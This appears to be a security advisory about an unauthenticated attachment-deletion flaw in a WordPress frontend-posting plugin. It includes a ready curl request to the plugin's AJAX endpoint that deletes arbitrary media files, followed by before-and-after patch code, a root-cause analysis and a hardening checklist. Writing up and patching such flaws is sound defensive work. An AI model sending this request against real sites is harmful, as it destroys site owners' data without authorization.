The Exploit
Unauthenticated attacker can delete arbitrary media attachments by POSTing attachments_to_delete[] directly to the plugin's AJAX submit endpoint.
curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'action=wpuf_ajax_submit_post&post_id=456&attachments_to_delete[]=123'
No login cookie is required. If the endpoint is exposed and the plugin is vulnerable, the attachment with ID 123 is deleted from the Media Library and its file is removed from disk. The HTTP response may still be a generic AJAX success/failure payload, but the observable side effect is loss of the target attachment.
What the Patch Did
Before:
foreach ( $attachments_to_delete as $attach_id ) {
wp_delete_attachment( $attach_id, true );
}
After:
// Attachment deletion authorization check
$current_user_id = get_current_user_id();
$post_id_for_edit = isset( $_POST['post_id'] ) ? intval( wp_unslash( $_POST['post_id'] ) ) : 0;
foreach ( $attachments_to_delete as $attach_id ) {
$attach_id = absint( $attach_id );
if ( empty( $attach_id ) ) {
continue;
}
$attachment = get_post( $attach_id );
// Skip if attachment doesn't exist or is not an attachment
if ( ! $attachment || 'attachment' !== $attachment->post_type ) {
continue;
}
// Authorization check: User must be the attachment author OR have delete_others_posts capability
$is_owner = ( $current_user_id > 0 ) && ( (int) $attachment->post_author === $current_user_id );
$can_delete_others = current_user_can( 'delete_others_posts' );
if ( ! $is_owner && ! $can_delete_others ) {
continue;
}
if ( $post_id_for_edit > 0 ) {
$attachment_parent = (int) $attachment->post_parent;
if ( $attachment_parent !== 0 && $attachment_parent !== $post_id_for_edit && ! $can_delete_others ) {
continue;
}
}
wp_delete_attachment( $attach_id, true );
}
The patch adds an authorization gate using WordPress APIs: get_current_user_id(), current_user_can( 'delete_others_posts' ), and get_post(). It also validates the attachment ID with absint(), confirms the post is actually an attachment, and checks that the attachment belongs to the current post edit context before deleting it.
Root Cause
This is improper authorization, CWE-639 / CWE-862: the AJAX handler accepted attacker-controlled IDs from $_POST['attachments_to_delete'] and called wp_delete_attachment() without checking whether the current user had any right to remove those attachments. The request parameter attachments_to_delete[] flows directly into the destructive sink. Even though post_id is provided by the request, the original vulnerable code never verified ownership, so an unauthenticated or low-privilege request could delete media belonging to other users or posts.
Why It Works
The load-bearing defense is the authorization check:
if ( ! $is_owner && ! $can_delete_others ) {
continue;
}
If that line is removed, the handler still deletes every attachment ID supplied in attachments_to_delete[]. The rest of the added code is defense in depth:
absint()prevents non-numeric IDs from reachingwp_delete_attachment().get_post()plus'attachment' !== $attachment->post_typeprevents deletion of non-attachment posts.- the
post_id_for_editblock ensures a non-privileged user can only delete attachments already linked to the post being edited. Without the central ownership/capability gate, the plugin remains exploitable.
Hardening Checklist
- Use
current_user_can()before any destructive AJAX action, especially forwp_delete_attachment(). - Verify ownership with
get_current_user_id()and compare against$attachment->post_author. - Validate numeric IDs with
absint()orintval()before using them in file/post deletion logic. - Confirm the target is an attachment via
get_post( $id )andpost_type === 'attachment'. - Avoid exposing destructive functionality to unauthenticated AJAX handlers unless absolutely necessary; prefer
wp_ajax_overwp_ajax_nopriv_.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14047